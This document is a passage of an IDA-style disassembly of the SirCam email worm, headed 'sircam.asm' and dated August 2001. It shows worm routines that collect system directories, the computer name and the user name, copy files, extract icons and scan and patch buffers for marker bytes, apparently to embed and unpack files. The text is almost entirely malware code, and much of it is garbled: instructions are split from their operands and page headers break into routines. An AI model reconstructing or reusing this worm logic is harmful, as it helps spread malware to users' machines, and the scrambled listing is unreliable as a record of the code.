; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
off_4160D4
dd offset loc_416149
; DATA XREF: sub_41609C+31\030r
dd offset loc_4160F0
; jump table for switch statement
dd offset loc_4160FF
dd offset loc_41610E
dd offset loc_41611D
dd offset loc_41612C
dd offset loc_41613B
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_4160F0:
; CODE XREF: sub_41609C+31\030j
; DATA XREF: sub_41609C+38\030o
mov
eax, [ebp+var_C] ; case 0x1
push
eax
mov
eax, [ebp+var_8]
push
eax
call
j_GetWindowsDirectoryA
jmp
short loc_416149 ; default
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_4160FF:
; CODE XREF: sub_41609C+31\030j
; DATA XREF: sub_41609C+38\030o
mov
eax, [ebp+var_C] ; case 0x2
push
eax
mov
eax, [ebp+var_8]
push
eax
call
j_GetSystemDirectoryA
jmp
short loc_416149 ; default
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_41610E:
; CODE XREF: sub_41609C+31\030j
; DATA XREF: sub_41609C+38\030o
mov
eax, [ebp+var_8] ; case 0x3
push
eax
mov
eax, [ebp+var_C]
push
eax
call
j_GetCurrentDirectoryA
jmp
short loc_416149 ; default
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_41611D:
lea
push
; CODE XREF: sub_41609C+31\030j
; DATA XREF: sub_41609C+38\030o
eax, [ebp+var_C] ; case 0x4
eax
sircam.asm
Fri Aug 10 12:42:44 2001
599
mov
eax, [ebp+var_8]
push
eax
call
j_GetComputerNameA
jmp
short loc_416149 ; default
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_41612C:
; CODE XREF: sub_41609C+31\030j
; DATA XREF: sub_41609C+38\030o
lea
eax, [ebp+var_C] ; case 0x5
push
eax
mov
eax, [ebp+var_8]
push
eax
call
j_GetUserNameA
jmp
short loc_416149 ; default
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_41613B:
mov
push
push
call
; CODE XREF: sub_41609C+31\030j
; DATA XREF: sub_41609C+38\030o
eax, [ebp+var_8] ; case 0x6
eax
104h
j_GetTempPathA
loc_416149:
xor
pop
pop
pop
mov
push
; CODE XREF: sub_41609C+2F\030j
; sub_41609C+31\030j ...
; default
eax, eax
edx
ecx
ecx
fs:[eax], edx
offset loc_416171
loc_416156:
sub_41609C
; CODE XREF: CODE:0041616F\031j
mov
eax, [ebp+var_4]
mov
edx, [ebp+var_8]
call
sub_403680
mov
eax, [ebp+var_8]
call
sub_4025B0
retn
endp ; sp = -18h
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_41616A:
; DATA XREF: sub_41609C+21\030o
jmp
loc_402F60
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
jmp
short loc_416156
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_416171:
; DATA XREF: sub_41609C+B5\030o
pop
ebx
mov
esp, ebp
pop
ebp
retn
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
; Attributes: bp-based frame
sub_416178
proc near
var_9
var_8
var_4
= byte ptr -9
= dword ptr -8
= dword ptr -4
push
mov
ebp
ebp, esp
; CODE XREF: sub_416C54+CD\031p
; sub_4184C4+145\031p ...
sircam.asm
Fri Aug 10 12:42:44 2001
add
push
mov
mov
mov
mov
call
mov
call
xor
push
push
push
mov
xor
mov
call
test
jnz
push
mov
call
push
mov
call
push
call
cmp
jz
mov
mov
call
esp, 0FFFFFFF4h
ebx
[ebp+var_9], cl
[ebp+var_8], edx
[ebp+var_4], eax
eax, [ebp+var_4]
sub_4038D8
eax, [ebp+var_8]
sub_4038D8
eax, eax
ebp
offset loc_4161FD
dword ptr fs:[eax]
fs:[eax], esp
ebx, ebx
eax, [ebp+var_8]
sub_4071A8
al, al
short loc_4161E2
0
eax, [ebp+var_8]
sub_4038E8
eax
eax, [ebp+var_4]
sub_4038E8
eax
j_CopyFileA
[ebp+var_9], 0
short loc_4161E0
edx, 2
eax, [ebp+var_8]
sub_4071B8
mov
bl, 1
xor
pop
pop
pop
mov
push
; CODE XREF: sub_416178+3A\030j
eax, eax
edx
ecx
ecx
fs:[eax], edx
offset loc_416204
loc_4161E0:
; CODE XREF: sub_416178+59\030j
loc_4161E2:
loc_4161EF:
sub_416178
600
; CODE XREF: CODE:00416202\031j
lea
eax, [ebp+var_8]
mov
edx, 2
call
sub_4034EC
retn
endp ; sp = -18h
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_4161FD:
; DATA XREF: sub_416178+23\030o
jmp
loc_402F60
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
jmp
short loc_4161EF
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_416204:
; DATA XREF: sub_416178+72\030o
mov
eax, ebx
pop
ebx
mov
esp, ebp
pop
ebp
retn
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sircam.asm
Fri Aug 10 12:42:44 2001
601
; Attributes: bp-based frame
sub_41620C
proc near
var_18
var_14
var_10
var_C
var_8
var_4
=
=
=
=
=
=
; CODE XREF: sub_416C54+16B\031p
; sub_417C88+97\031p ...
byte ptr -18h
byte ptr -14h
byte ptr -10h
byte ptr -0Ch
dword ptr -8
dword ptr -4
push
mov
add
push
push
xor
mov
mov
mov
mov
call
xor
push
push
push
mov
mov
call
mov
lea
mov
mov
mov
mov
lea
lea
call
lea
mov
mov
mov
mov
lea
lea
mov
call
lea
lea
call
lea
mov
mov
mov
mov
lea
lea
mov
call
lea
lea
call
mov
mov
call
xor
pop
pop
pop
ebp
ebp, esp
esp, 0FFFFFFE8h
ebx
esi
ecx, ecx
[ebp+var_8], ecx
esi, edx
[ebp+var_4], eax
eax, [ebp+var_4]
sub_4038D8
eax, eax
ebp
offset loc_4162CE
dword ptr fs:[eax]
fs:[eax], esp
eax, [ebp+var_4]
sub_403724
ebx, eax
eax, [ebp+var_C]
edx, [ebp+var_4]
dl, [edx+ebx-3]
[eax+1], dl
byte ptr [eax], 1
edx, [ebp+var_C]
eax, [ebp+var_10]
sub_402848
eax, [ebp+var_14]
edx, [ebp+var_4]
dl, [edx+ebx-2]
[eax+1], dl
byte ptr [eax], 1
edx, [ebp+var_14]
eax, [ebp+var_10]
cl, 2
sub_402818
edx, [ebp+var_10]
eax, [ebp+var_18]
sub_402848
eax, [ebp+var_14]
edx, [ebp+var_4]
dl, [edx+ebx-1]
[eax+1], dl
byte ptr [eax], 1
edx, [ebp+var_14]
eax, [ebp+var_18]
cl, 3
sub_402818
edx, [ebp+var_18]
eax, [ebp+var_8]
sub_4036EC
eax, [ebp+var_8]
edx, esi
sub_406D90
eax, eax
edx
ecx
ecx
sircam.asm
Fri Aug 10 12:42:44 2001
mov
push
fs:[eax], edx
offset loc_4162D5
loc_4162C0:
sub_41620C
602
; CODE XREF: CODE:004162D3\031j
lea
eax, [ebp+var_8]
mov
edx, 2
call
sub_4034EC
retn
endp ; sp = -28h
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_4162CE:
; DATA XREF: sub_41620C+1D\030o
jmp
loc_402F60
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
jmp
short loc_4162C0
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_4162D5:
; DATA XREF: sub_41620C+AF\030o
pop
esi
pop
ebx
mov
esp, ebp
pop
ebp
retn
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
; Attributes: bp-based frame
sub_4162DC
proc near
var_C
var_8
var_4
= dword ptr -0Ch
= dword ptr -8
= dword ptr -4
; CODE XREF: sub_416478+298\031p
; sub_416478+2A8\031p ...
push
mov
add
push
push
push
xor
mov
mov
mov
mov
mov
call
mov
call
xor
push
push
push
mov
mov
test
jle
mov
mov
ebp
ebp, esp
esp, 0FFFFFFF4h
ebx
esi
edi
ebx, ebx
[ebp+var_C], ebx
[ebp+var_8], ecx
[ebp+var_4], edx
ebx, eax
eax, [ebp+var_4]
sub_4038D8
eax, [ebp+var_8]
sub_4038D8
eax, eax
ebp
offset loc_41638C
dword ptr fs:[eax]
fs:[eax], esp
edi, ebx
edi, edi
short loc_416371
esi, 1
ebx, offset unk_41E6D8
cmp
jnz
cmp
jnz
lea
; CODE XREF: sub_4162DC+93\031j
byte ptr [ebx], 46h
short loc_41636C
byte ptr [ebx+1], 41h
short loc_41636C
eax, [ebp+var_C]
loc_416320:
sircam.asm
Fri Aug 10 12:42:44 2001
mov
call
mov
mov
call
jnz
mov
call
mov
test
jle
mov
603
dl, [ebx+2]
sub_403670
eax, [ebp+var_C]
edx, [ebp+var_8]
sub_403834
short loc_41636C
eax, [ebp+var_4]
sub_403724
edx, eax
edx, edx
short loc_416371
eax, 1
loc_416356:
; CODE XREF: sub_4162DC+8C\031j
mov
ecx, [ebp+var_4]
mov
cl, [ecx+eax-1]
lea
ebx, [eax+esi]
mov
byte ptr ds:unk_41E6D9[ebx], cl
inc
eax
dec
edx
jnz
short loc_416356
jmp
short loc_416371
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_41636C:
; CODE XREF: sub_4162DC+47\030j
; sub_4162DC+4D\030j ...
inc
inc
dec
jnz
esi
ebx
edi
short loc_416320
loc_416371:
; CODE XREF: sub_4162DC+38\030j
; sub_4162DC+73\030j ...
xor
pop
pop
pop
mov
push
eax, eax
edx
ecx
ecx
fs:[eax], edx
offset loc_416393
loc_41637E:
sub_4162DC
; CODE XREF: CODE:00416391\031j
lea
eax, [ebp+var_C]
mov
edx, 3
call
sub_4034EC
retn
endp ; sp = -20h
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_41638C:
; DATA XREF: sub_4162DC+29\030o
jmp
loc_402F60
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
jmp
short loc_41637E
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_416393:
; DATA XREF: sub_4162DC+9D\030o
pop
edi
pop
esi
pop
ebx
mov
esp, ebp
pop
ebp
retn
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
; Attributes: bp-based frame
sub_41639C
proc near
; CODE XREF: sub_416478+253\031p
sircam.asm
Fri Aug 10 12:42:44 2001
604
; sub_416478+2E5\031p
var_8
var_4
arg_0
arg_4
=
=
=
=
dword
dword
dword
dword
ptr -8
ptr -4
ptr 8
ptr 0Ch
push
mov
add
push
push
push
xor
mov
mov
mov
mov
mov
call
xor
push
push
push
mov
mov
test
jle
mov
mov
ebp
ebp, esp
esp, 0FFFFFFF8h
ebx
esi
edi
ebx, ebx
[ebp+var_8], ebx
ebx, ecx
[ebp+var_4], edx
esi, eax
eax, [ebp+arg_0]
sub_4038D8
eax, eax
ebp
offset loc_416468
dword ptr fs:[eax]
fs:[eax], esp
edx, esi
edx, edx
short loc_41644A
edi, 1
eax, offset unk_41E6D8
cmp
jnz
cmp
jnz
cmp
jnz
cmp
jnz
cmp
jnz
cmp
jnz
mov
test
jle
mov
; CODE XREF: sub_41639C+AC\031j
byte ptr [eax], 0C0h
short loc_416445
byte ptr [eax+1], 0C0h
short loc_416445
byte ptr [eax+2], 0C0h
short loc_416445
byte ptr [eax+4], 80h
short loc_416445
byte ptr [eax+5], 80h
short loc_416445
byte ptr [eax+6], 80h
short loc_416445
esi, ebx
esi, esi
short loc_41644A
ebx, 1
loc_4163D7:
loc_416405:
; CODE XREF: sub_41639C+A5\031j
cmp
[ebp+var_4], 1
jnz
short loc_41641D
mov
eax, [ebp+arg_0]
mov
al, [eax+ebx-1]
lea
edx, [ebx+edi]
mov
byte ptr ds:(dword_41E6D4+3)[edx], al
jmp
short loc_41643F
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_41641D:
lea
lea
mov
call
mov
mov
add
call
mov
; CODE XREF: sub_41639C+6D\030j
eax, [ebp+var_8]
edx, [ebx+edi]
dl, byte ptr ds:(dword_41E6D4+3)[edx]
sub_403670
edx, [ebp+var_8]
eax, [ebp+arg_4]
eax, 0FFFFFFFCh
sub_40372C
eax, [ebp+arg_4]
sircam.asm
Fri Aug 10 12:42:44 2001
605
loc_41643F:
; CODE XREF: sub_41639C+7F\030j
inc
ebx
dec
esi
jnz
short loc_416405
jmp
short loc_41644A
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_416445:
; CODE XREF: sub_41639C+3E\030j
; sub_41639C+44\030j ...
inc
inc
dec
jnz
edi
eax
edx
short loc_4163D7
loc_41644A:
; CODE XREF: sub_41639C+2F\030j
; sub_41639C+62\030j ...
xor
pop
pop
pop
mov
push
eax, eax
edx
ecx
ecx
fs:[eax], edx
offset loc_41646F
loc_416457:
sub_41639C
; CODE XREF: CODE:0041646D\031j
lea
eax, [ebp+var_8]
call
sub_4034C8
lea
eax, [ebp+arg_0]
call
sub_4034C8
retn
endp ; sp = -1Ch
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_416468:
; DATA XREF: sub_41639C+20\030o
jmp
loc_402F60
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
jmp
short loc_416457
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_41646F:
; DATA XREF: sub_41639C+B6\030o
pop
pop
pop
pop
pop
pop
retn
edi
esi
ebx
ecx
ecx
ebp
4
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
; Attributes: bp-based frame
sub_416478
proc near
var_51C
var_518
var_418
var_414
var_410
var_40C
var_2C0
var_174
var_28
var_21
var_20
var_1C
var_18
var_14
var_10
var_C
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
dword ptr -51Ch
byte ptr -518h
dword ptr -418h
dword ptr -414h
dword ptr -410h
byte ptr -40Ch
byte ptr -2C0h
byte ptr -174h
dword ptr -28h
byte ptr -21h
dword ptr -20h
dword ptr -1Ch
dword ptr -18h
dword ptr -14h
dword ptr -10h
dword ptr -0Ch
; CODE XREF: sub_4171C0+E5\031p start+6CD\031p
sircam.asm
var_8
var_4
arg_0
arg_4
arg_8
arg_C
arg_10
arg_14
arg_18
Fri Aug 10 12:42:44 2001
=
=
=
=
=
=
=
=
=
dword ptr -8
dword ptr -4
byte ptr 8
dword ptr 0Ch
dword ptr 10h
dword ptr 14h
dword ptr 18h
dword ptr 1Ch
dword ptr 20h
push
mov
add
push
push
xor
mov
mov
mov
mov
mov
mov
mov
mov
mov
mov
call
mov
call
mov
call
mov
call
mov
call
mov
call
mov
call
xor
push
push
push
mov
push
push
lea
push
mov
mov
mov
call
xor
mov
lea
call
lea
mov
call
mov
call
mov
mov
lea
call
lea
mov
mov
call
mov
ebp
ebp, esp
esp, 0FFFFFAE4h
ebx
esi
ebx, ebx
[ebp+var_51C], ebx
[ebp+var_418], ebx
[ebp+var_414], ebx
[ebp+var_410], ebx
[ebp+var_20], ebx
[ebp+var_4], ebx
[ebp+var_10], ecx
[ebp+var_C], edx
[ebp+var_8], eax
eax, [ebp+var_8]
sub_4038D8
eax, [ebp+var_C]
sub_4038D8
eax, [ebp+var_10]
sub_4038D8
eax, [ebp+arg_18]
sub_4038D8
eax, [ebp+arg_14]
sub_4038D8
eax, [ebp+arg_10]
sub_4038D8
eax, [ebp+arg_C]
sub_4038D8
eax, eax
ebp
offset loc_4168AD
dword ptr fs:[eax]
fs:[eax], esp
1
1
eax, [ebp+var_410]
eax
ecx, offset dword_4168C4
edx, offset dword_4168D0
eax, ds:dword_41EEFC
sub_415EAC
eax, eax
[ebp+var_18], eax
eax, [ebp+var_4]
sub_4034C8
eax, [ebp+var_414]
dl, [ebp+var_21]
sub_403670
eax, [ebp+var_414]
sub_403724
[ebp+var_1C], eax
edx, [ebp+var_8]
eax, [ebp+var_174]
sub_404E16
eax, [ebp+var_418]
ecx, [ebp+arg_18]
edx, [ebp+var_10]
sub_403770
edx, [ebp+var_418]
606
sircam.asm
Fri Aug 10 12:42:44 2001
607
lea
eax, [ebp+var_2C0]
call
sub_404E16
mov
eax, ds:off_41DC30
mov
byte ptr [eax], 0
cmp
[ebp+arg_4], 1
jnz
short loc_416596
lea
edx, [ebp+var_518]
mov
eax, [ebp+arg_8]
call
sub_40296C
lea
edx, [ebp+var_518]
lea
eax, [ebp+var_20]
call
sub_4036EC
jmp
short loc_4165A3
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_416596:
lea
mov
call
; CODE XREF: sub_416478+FE\030j
eax, [ebp+var_20]
edx, offset dword_4168DC
sub_403560
mov
lea
call
call
mov
lea
call
call
cmp
jz
mov
mov
call
mov
xor
push
push
push
mov
xor
lea
xor
mov
call
mov
mov
mov
call
movzx
push
mov
call
push
mov
push
call
mov
mov
call
mov
mov
mov
call
mov
mov
call
xor
pop
pop
; CODE XREF: sub_416478+11C\030j
edx, 1
eax, [ebp+var_174]
sub_40510D
sub_40265C
edx, 1
eax, [ebp+var_2C0]
sub_405124
sub_40265C
[ebp+arg_0], 0
loc_4166E7
dl, 1
eax, ds:off_413638
sub_4155EC
[ebp+var_28], eax
eax, eax
ebp
offset loc_416673
dword ptr fs:[eax]
fs:[eax], esp
ebx, ebx
ecx, [ebp+var_51C]
edx, edx
eax, offset dword_4168F0
sub_415FAC
ecx, [ebp+var_51C]
eax, offset dword_41EEF4
edx, ds:dword_41EEF0
sub_403770
eax, bx
eax
eax, [ebp+var_C]
sub_4038E8
eax
eax, ds:dword_41E4D4
eax
j_ExtractIconA
edx, eax
eax, [ebp+var_28]
sub_4159BC
edx, ds:dword_41EEF4
eax, [ebp+var_28]
ecx, [eax]
dword ptr [ecx+4Ch]
edx, 2
eax, ds:dword_41EEF4
sub_4071B8
eax, eax
edx
ecx
loc_4165A3:
sircam.asm
Fri Aug 10 12:42:44 2001
pop
mov
push
608
ecx
fs:[eax], edx
offset loc_41667A
loc_41666A:
; CODE XREF: sub_416478+200\031j
mov
eax, [ebp+var_28]
call
sub_402BDC
retn
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_416673:
; DATA XREF: sub_416478+171\030o
jmp
loc_402F60
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
jmp
short loc_41666A
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_41667A:
mov
lea
call
mov
lea
call
call
; DATA XREF: sub_416478+1ED\030o
edx, ds:dword_41EEF4
eax, [ebp-40Ch]
sub_404E16
edx, 1
eax, [ebp-40Ch]
sub_40510D
sub_40265C
lea
push
mov
mov
lea
call
call
push
push
mov
xor
mov
call
pop
cmp
jnz
lea
call
call
; CODE XREF: sub_416478+25D\031j
eax, [ebp-14h]
eax
edx, offset unk_41E6D8
ecx, 800h
eax, [ebp-40Ch]
sub_404EB8
sub_40265C
ebp
0
ecx, 2A4h
edx, edx
eax, [ebp+var_14]
sub_41639C
ecx
[ebp+var_14], 0
short loc_4166A0
eax, [ebp+var_40C]
sub_404F80
sub_40265C
lea
push
mov
mov
lea
call
call
mov
mov
mov
call
mov
mov
mov
call
mov
mov
mov
call
mov
mov
mov
; CODE XREF: sub_416478+159\030j
; sub_416478+34B\031j
eax, [ebp+var_14]
eax
edx, offset unk_41E6D8
ecx, 800h
eax, [ebp+var_174]
sub_404EB8
sub_40265C
ecx, offset dword_416904
edx, [ebp+arg_14]
eax, [ebp+var_14]
sub_4162DC
ecx, offset dword_416910
edx, [ebp+arg_C]
eax, [ebp+var_14]
sub_4162DC
ecx, offset dword_41691C
edx, [ebp+var_20]
eax, [ebp+var_14]
sub_4162DC
ecx, offset dword_416928
edx, [ebp+arg_10]
eax, [ebp+var_14]
loc_4166A0:
loc_4166E7:
sircam.asm
Fri Aug 10 12:42:44 2001
call
cmp
jz
push
mov
push
mov
mov
mov
call
pop
609
sub_4162DC
[ebp+arg_0], 0
short loc_416763
ebp
eax, [ebp+var_4]
eax
ecx, 2A4h
edx, 1
eax, [ebp+var_14]
sub_41639C
ecx
loc_416763:
; CODE XREF: sub_416478+2D1\030j
cmp
[ebp+arg_4], 1
jnz
short loc_416787
lea
eax, [ebp+var_14]
push
eax
mov
edx, offset unk_41E6D8
mov
ecx, [ebp+var_14]
lea
eax, [ebp+var_2C0]
call
sub_404F1C
call
sub_40265C
jmp
short loc_4167BF
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_416787:
mov
mov
